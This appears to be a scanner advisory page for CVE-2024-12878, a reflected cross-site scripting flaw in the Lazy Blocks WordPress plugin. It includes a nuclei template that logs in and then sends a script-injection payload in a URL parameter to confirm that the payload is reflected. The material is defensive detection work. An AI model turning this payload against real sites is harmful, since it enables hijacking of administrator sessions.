Lazy Blocks <= 3.8.2 - Cross-Site Scripting

mediumseverity

0.6%likelihood of exploitation, next 30 days

50%of all CVEs are less likely

Readycheck to confirm it

Custom Block Builder WordPress plugin < 3.8.3 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before output, letting attackers execute malicious scripts in high privilege users' browsers, exploit requires victim to load malicious page.

Impact

Attackers can execute malicious scripts in high privilege users' browsers, potentially leading to session hijacking or account compromise.

Fix

Update to version 3.8.3 or later.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in") and status_code == 302
Send: GET /wp-admin/edit.php?post_type=lazyblocks&"></script><script>alert(1331)</script>=1"
Positive when: contains_all(body, "</script><script>alert(1331)</script>", "edit-lazyblocks", "lazyblocks") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-12878 -u <target>

The full check

id: CVE-2024-12878

info:
  name: Lazy Blocks <= 3.8.2 - Cross-Site Scripting
  author: Shivam Kamboj
  severity: medium
  description: |
    Custom Block Builder WordPress plugin < 3.8.3 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before output, letting attackers execute malicious scripts in high privilege users' browsers, exploit requires victim to load malicious page.
  impact: |
    Attackers can execute malicious scripts in high privilege users' browsers, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to version 3.8.3 or later.
  reference:
    - https://wpscan.com/vulnerability/827444d1-87cb-4057-827a-d802eac82cf8/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12878
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2024,wordpress,wp,wp-plugin,lazy-blocks,xss,reflected,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "wordpress_logged_in")'
          - 'status_code == 302'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/edit.php?post_type=lazyblocks&"></script><script>alert(1331)</script>=1" HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "</script><script>alert(1331)</script>", "edit-lazyblocks", "lazyblocks")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

References

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